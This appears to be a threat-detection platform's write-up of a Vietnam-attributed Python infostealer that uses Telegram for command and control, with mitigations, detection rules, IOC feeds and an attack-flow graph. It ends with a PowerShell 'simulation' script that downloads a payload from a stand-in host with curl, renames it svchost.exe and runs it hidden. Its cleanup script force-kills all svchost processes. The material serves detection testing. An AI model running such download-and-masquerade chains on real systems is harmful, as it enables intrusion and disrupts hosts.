When Malware Authors Troll Security Researchers
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
A Vietnam-attributed information stealer written in Python relies on Telegram as its command-and-control channel. Delivery is achieved through DLL sideloading of a legitimate Adobe binary, followed by persistence via a scheduled task crafted to resemble a Microsoft Edge update. The malware applies a four-layer Base85–Bzip2–Zlib–Marshal obfuscation chain and inflates the payload with millions of profanity strings designed to overwhelm or crash analysis tooling. Once executed, the final stage harvests browser credentials and cryptocurrency wallet data, then exfiltrates the collected information over Telegram.
Investigation
The investigation started from a CrowdStrike alert that captured a process tree in which cmd.exe launched curl to download a WinRAR archive disguised as legitimate content. Analysts decoded the Base85 blob, peeled back the layered compression and Marshal stages, and identified a dead-drop resolver that retrieves C2 URLs from a public Telegram channel. The team extracted embedded configuration strings, documented scheduled-task characteristics, and reconstructed the full command line used to start the malicious Python runtime. Telegram bot tokens and Telegram channel administrator handles were recovered, reinforcing attribution to a Vietnamese threat actor.
Mitigation
Monitor for DLL sideloading patterns involving urlmon.dll, suspicious scheduled tasks named MicrosoftEdgeUpdateTaskMachine with a start date set to 1999, and Python activity masquerading under the svchost.exe process name. Block outbound TLS connections to api.telegram.org and t.me for non-browser processes, and apply strict execution governance for curl and WinRAR utilities. Implement file integrity monitoring for ADNotificationManager.exe and validate signatures for Adobe components to detect tampering or abuse.
Response
Upon detection, isolate the impacted endpoint, preserve the full process tree and command-line arguments, and capture the Telegram bot token and channel IDs for threat-intelligence enrichment. Perform forensic imaging, compute hashes for all dropped files, and submit relevant artifacts to a sandbox for behavior confirmation. Disable the scheduled task, remove the malicious DLL and the bundled Python runtime, and rotate all potentially exposed credentials as well as any affected cryptocurrency wallet keys.
"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef technique fill:#dddddd %% Node definitions action_user_open_pdf["<b>Action</b> – <b>T1204.002 User Execution</b>: User opens malicious PDF attachment"] class action_user_open_pdf action malware_dropper_exe["<b>Malware</b> – <b>Name</b>: ADNotificationManager.exe<br/><b>Technique</b>: T1055.001 DLL Injection, T1574.001 Hijack Execution Flow, T1546.009 Component Firmware"] class malware_dropper_exe malware file_sideloaded_dll["<b>File</b> – <b>Name</b>: urlmon.dll<br/><b>Technique</b>: DLL sideloading"] class file_sideloaded_dll technique process_cmd["<b>Process</b> – <b>Name</b>: cmd.exe<br/><b>Technique</b>: T1059.003 Command Shell"] class process_cmd process tool_curl["<b>Tool</b> – <b>Name</b>: curl<br/><b>Purpose</b>: download additional payloads"] class tool_curl tool tool_winrar["<b>Tool</b> – <b>Name</b>: WinRAR (renamed as ubd80uac00uac00uce58uc138 uc601uc218uc99d.jpg)<br/><b>Purpose</b>: extract archives and disguise svchost.exe"] class tool_winrar tool process_svchost["<b>Process</b> – <b>Name</b>: svchost.exe (actually python.exe)<br/><b>Technique</b>: T1036.003 Rename, T1036.005 Masquerading"] class process_svchost process malware_python_obf["<b>Malware</b> – <b>Name</b>: Python payload<br/><b>Technique</b>: T1059.006 Python, encoded in py.ico (Base85, Bzip2, Zlib, Marshal)"] class malware_python_obf malware task_edge_update["<b>Persistence</b> – <b>Scheduled Task</b>: MicrosoftEdgeUpdateTaskMachine<br/><b>Technique</b>: T1053.005 Scheduled Task, T1036.004 Masquerading as Edge updater"] class task_edge_update technique c2_telegram["<b>C2 Channel</b> – Telegram public channel<br/><b>Technique</b>: T1102.003 Dead Drop Resolver, T1041 Application Layer Protocol"] class c2_telegram technique malware_stealer["<b>Malware</b> – <b>Stealer</b>: extracts browser credentials, cookies, cryptocurrency wallets<br/><b>Techniques</b>: T1555.003 Credentials from Web Browsers, T1539 Steal Web Session Cookie"] class malware_stealer malware process_argument_spoof["<b>Evasion</b> – Process Argument Spoofing<br/><b>Technique</b>: T1564.010 Hide Artifacts"] class process_argument_spoof technique %% Connections action_user_open_pdf –>|launches| malware_dropper_exe malware_dropper_exe –>|loads| file_sideloaded_dll file_sideloaded_dll –>|executes| process_cmd process_cmd –>|uses| tool_curl process_cmd –>|uses| tool_winrar tool_winrar –>|creates| process_svchost process_svchost –>|runs| malware_python_obf malware_python_obf –>|creates| task_edge_update task_edge_update –>|ensures persistence via| process_argument_spoof malware_python_obf –>|contacts| c2_telegram c2_telegram –>|delivers stageu20112 payload to| malware_stealer malware_stealer –>|exfiltrates data via| c2_telegram %% Styling assignments class action_user_open_pdf action class malware_dropper_exe malware class file_sideloaded_dll technique class process_cmd process class tool_curl tool class tool_winrar tool class process_svchost process class malware_python_obf malware class task_edge_update technique class c2_telegram technique class malware_stealer malware class process_argument_spoof technique "
Attack Flow
Detections
Possible Telegram Abuse As Command And Control Channel (via dns_query)
View
LOLBAS Conhost (via cmdline)
View
System Processes Execution from Untypical Paths (via process_creation)
View
Suspicious CURL Usage (via cmdline)
View
Suspicious Files in Public User Profile (via file_event)
View
Suspicious Scheduled Task (via audit)
View
Suspicious Execution from Public User Profile (via process_creation)
View
IOCs (HashMd5) to detect: Fuck you morphisec: When Malware Authors Taunt Security Researchers
View
IOCs (DestinationIP) to detect: Fuck you morphisec: When Malware Authors Taunt Security Researchers
View
IOCs (SourceIP) to detect: Fuck you morphisec: When Malware Authors Taunt Security Researchers
View
IOCs (HashSha256) to detect: Fuck you morphisec: When Malware Authors Taunt Security Researchers
View
Outbound TLS and DNS Queries Indicating Potential Vietnamese Stealer Activity [Windows Network Connection]
View
Suspicious Process Tree and Execution Chain Detection [Windows Process Creation]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.
-
Attack Narrative & Commands:
- Initial Drop: The attacker uses a compromised PowerShell session to launch
cmd.exewhich, in turn, runscurl.exeto download a malicious payload (payload.exe) from a remote C2 server. - Masquerading Execution: The downloaded
payload.exeis renamed tosvchost.exeand placed in the user’s%AppData%directory. Explorer (user interaction) launches the file, creating a parent‑child relationship (explorer.exe→payload.exe). The payload’s command line contains the stringcmd.exe curlto retain the original download command for later correlation. - Headless Service Launch: The malicious executable spawns
conhost.exewith arguments--headless -- svchost.exeto run the renamed service silently, establishing persistence and enabling further C2 traffic.
- Initial Drop: The attacker uses a compromised PowerShell session to launch
-
Regression Test Script: The following PowerShell script reproduces the full chain on a test machine. Run as an administrator on a Windows host with Sysmon enabled.
# ------------------------------------------------- # Simulation Script – Triggers the Sigma rule # ------------------------------------------------- $tmpDir = "$env:TEMPsim" New-Item -ItemType Directory -Path $tmpDir -Force | Out-Null # 1️⃣ cmd.exe → curl.exe (download payload) $payloadUrl = "http://example.com/payload.exe" $payloadPath = "$tmpDirpayload.exe" cmd.exe /c "curl.exe -o `"$payloadPath`" `"$payloadUrl`"" # 2️⃣ Rename to svchost.exe and launch via explorer $svchostPath = "$tmpDirsvchost.exe" Rename-Item -Path $payloadPath -NewName "svchost.exe" -Force Start-Process -FilePath "explorer.exe" -ArgumentList "`"$svchostPath`" cmd.exe curl" -WindowStyle Hidden # 3️⃣ conhost.exe runs svchost.exe headlessly Start-Process -FilePath "conhost.exe" -ArgumentList "--headless -- svchost.exe" -WindowStyle Hidden Write-Host "Simulation complete – check SIEM for alert." -
Cleanup Commands: Execute the following to remove artifacts and terminate lingering processes.
# Cleanup script Get-Process -Name "svchost","conhost","cmd","curl" -ErrorAction SilentlyContinue | Stop-Process -Force Remove-Item -Recurse -Force "$env:TEMPsim" Write-Host "Cleanup finished."